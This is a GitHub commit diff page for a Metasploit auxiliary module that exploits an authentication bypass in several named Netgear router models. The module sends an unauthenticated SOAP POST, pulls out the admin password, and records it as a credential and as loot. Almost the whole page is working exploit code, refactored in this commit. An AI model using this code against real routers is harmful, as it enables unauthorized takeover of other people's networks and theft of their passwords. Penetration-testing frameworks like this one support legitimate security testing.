Skip to content

Commit 5e822a1

Browse files
author
m-1-k-3
committed
Merge branch 'jvazquez-r7-review_5301' into netgear_soap_extract
2 parents 0a4554a + 04fa626 commit 5e822a1

File tree

1 file changed

+66
-67
lines changed

1 file changed

+66
-67
lines changed

modules/auxiliary/admin/http/netgear_soap_password_extractor.rb

Lines changed: 66 additions & 67 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,9 @@ def initialize
1414
super(
1515
'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
1616
'Description' => %q{
17-
This module exploits an authentication bypass vulnerability in different
18-
Netgear devices. With this vulnerability you are able to extract the password
19-
for the remote management. The following devices are reported as vulnerable:
17+
This module exploits an authentication bypass vulnerability in different Netgear devices.
18+
It allows to extract the password for the remote management interface. This module has been
19+
tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable:
2020
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
2121
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
2222
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
@@ -27,7 +27,6 @@ def initialize
2727
NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor),
2828
NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree),
2929
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton)
30-
This module was tested on a Netgear WNDR3700v4 - V1.0.1.42
3130
},
3231
'References' =>
3332
[
@@ -47,96 +46,96 @@ def run
4746
print_status("#{peer} - Trying to access the configuration of the device")
4847

4948
# extract device details
50-
soapaction = "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo"
51-
print_status("Extract Firmware version.")
52-
extract_data(soapaction)
49+
action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
50+
print_status("#{peer} - Extracting Firmware version...")
51+
extract_data(action)
5352

5453
# extract credentials
55-
soapaction = "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo"
56-
print_status("Extract credentials.")
57-
extract_data(soapaction)
54+
action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo'
55+
print_status("#{peer} - Extracting credentials...")
56+
extract_data(action)
5857
end
5958

60-
def extract_data(soapaction)
59+
def extract_data(soap_action)
6160
begin
6261
res = send_request_cgi({
6362
'method' => 'POST',
64-
'uri' => "/",
63+
'uri' => '/',
6564
'headers' => {
66-
'SOAPAction' => soapaction,
65+
'SOAPAction' => soap_action,
6766
},
68-
'data' => "=",
67+
'data' => '='
6968
})
70-
#puts res
7169

7270
return if res.nil?
71+
return if res.code == 404
72+
return if res.headers['Server'].nil?
7373
# unknown if other devices have other Server headers
74-
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/)
75-
return if (res.code == 404)
74+
return if res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/
7675

7776
if res.body =~ /<NewPassword>(.*)<\/NewPassword>/
78-
print_good("#{peer} - credentials successfully extracted")
79-
80-
res.body.each_line do |line|
81-
if line =~ /<NewPassword>(.*)<\/NewPassword>/
82-
pass = $1
83-
vprint_good("user: admin")
84-
vprint_good("pass: #{pass}")
85-
86-
service_data = {
87-
address: rhost,
88-
port: rport,
89-
service_name: 'http',
90-
protocol: 'tcp',
91-
workspace_id: myworkspace_id
92-
}
93-
94-
credential_data = {
95-
module_fullname: self.fullname,
96-
origin_type: :service,
97-
private_data: pass,
98-
private_type: :password,
99-
username: 'admin'
100-
}
101-
102-
credential_data.merge!(service_data)
103-
104-
credential_core = create_credential(credential_data)
105-
106-
login_data = {
107-
core: credential_core,
108-
last_attempted_at: DateTime.now,
109-
status: Metasploit::Model::Login::Status::SUCCESSFUL
110-
}
111-
login_data.merge!(service_data)
112-
113-
create_credential_login(login_data)
114-
115-
end
116-
end
117-
118-
#store all details as loot
119-
loot = store_loot("netgear_soap_account.config","text/plain",rhost, res.body)
120-
print_good("#{peer} - Account details downloaded to: #{loot}")
77+
print_status("#{peer} - Credentials found, extracting...")
78+
extract_credentials(res.body)
12179
end
12280

12381
if res.body =~ /<ModelName>(.*)<\/ModelName>/
124-
modelname = $1
125-
vprint_good("Modelname: #{modelname}")
82+
model_name = $1
83+
print_good("#{peer} - Model #{model_name} found")
12684
end
12785

12886
if res.body =~ /<Firmwareversion>(.*)<\/Firmwareversion>/
129-
firmwareversion = $1
130-
vprint_good("Firmwareversion: #{firmwareversion}")
87+
firmware_version = $1
88+
print_good("#{peer} - Firmware version #{firmware_version} found")
13189

132-
#store all details as loot
133-
loot = store_loot("netgear_soap_device.config","text/plain",rhost, res.body)
134-
print_good("#{peer} - Device details downloaded to: #{loot}")
90+
#store all details as loot
91+
loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
92+
print_good("#{peer} - Device details downloaded to: #{loot}")
13593
end
13694

13795
rescue ::Rex::ConnectionError
13896
vprint_error("#{peer} - Failed to connect to the web server")
13997
return
14098
end
14199
end
100+
101+
def extract_credentials(body)
102+
body.each_line do |line|
103+
if line =~ /<NewPassword>(.*)<\/NewPassword>/
104+
pass = $1
105+
print_good("#{peer} - admin / #{pass} credentials found")
106+
107+
service_data = {
108+
address: rhost,
109+
port: rport,
110+
service_name: 'http',
111+
protocol: 'tcp',
112+
workspace_id: myworkspace_id
113+
}
114+
115+
credential_data = {
116+
module_fullname: self.fullname,
117+
origin_type: :service,
118+
private_data: pass,
119+
private_type: :password,
120+
username: 'admin'
121+
}
122+
123+
credential_data.merge!(service_data)
124+
125+
credential_core = create_credential(credential_data)
126+
127+
login_data = {
128+
core: credential_core,
129+
status: Metasploit::Model::Login::Status::UNTRIED
130+
}
131+
login_data.merge!(service_data)
132+
133+
create_credential_login(login_data)
134+
end
135+
end
136+
137+
# store all details as loot
138+
loot = store_loot('netgear_soap_account.config', 'text/plain', rhost, body)
139+
print_good("#{peer} - Account details downloaded to: #{loot}")
140+
end
142141
end

0 commit comments

Comments
 (0)